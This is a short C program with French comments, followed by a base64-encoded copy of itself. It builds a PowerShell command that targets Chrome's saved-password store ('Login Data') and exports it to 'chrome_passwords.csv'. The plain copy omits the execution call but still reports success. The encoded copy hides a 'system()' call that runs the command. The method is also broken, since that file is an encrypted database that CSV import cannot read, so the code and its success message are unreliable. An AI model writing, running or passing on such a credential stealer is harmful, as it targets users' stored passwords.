#include <stdio.h>
#include <stdlib.h>
int main() {
// Commande PowerShell pour exporter les mots de passe Chrome
const char* powershell_cmd = "powershell -Command "
"\"$data = Import-Csv -Path (Get-ChildItem -Path \\\"$env:LOCALAPPDATA\\\\Google\\\\Chrome\\\\User Data\\\\*\\\\Login Data\\\" | Select-Object -First 1).FullName; "
"$data | Export-Csv -Path \\\"chrome_passwords.csv\\\" -NoTypeInformation\"";
// Exécute la commande
printf("Export terminé : 'chrome_passwords.csv' généré.\n"); return 0;
}
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KCmludCBtYWluKCkgewogICAgLy8gQ29tbWFuZGUgUG93ZXJTaGVsbCBwb3VyIGV4cG9ydGVyIGxlcyBtb3RzIGRlIHBhc3NlIENocm9tZQogICAgY29uc3QgY2hhciogcG93ZXJzaGVsbF9jbWQgPSAicG93ZXJzaGVsbCAtQ29tbWFuZCAiCiAgICAgICAgIlwiJGRhdGEgPSBJbXBvcnQtQ3N2IC1QYXRoIChHZXQtQ2hpbGRJdGVtIC1QYXRoIFxcXCIkZW52OkxPQ0FMQVBQREFUQVxcXFxHb29nbGVcXFxcQ2hyb21lXFxcXFVzZXIgRGF0YVxcXFwqXFxcXExvZ2luIERhdGFcXFwiIHwgU2VsZWN0LU9iamVjdCAtRmlyc3QgMSkuRnVsbE5hbWU7ICIKICAgICAgICAiJGRhdGEgfCBFeHBvcnQtQ3N2IC1QYXRoIFxcXCJjaHJvbWVfcGFzc3dvcmRzLmNzdlxcXCIgLU5vVHlwZUluZm9ybWF0aW9uXCIiOwoKICAgIC8vIEV4w6ljdXRlIGxhIGNvbW1hbmRlCiAgICBzeXN0ZW0ocG93ZXJzaGVsbF9jbWQpOwoKICAgIHByaW50ZigiRXhwb3J0IHRlcm1pbsOpIDogJ2Nocm9tZV9wYXNzd29yZHMuY3N2JyBnw6luw6lyw6kuXG4iKTsKICAgIHJldHVybiAwOwp9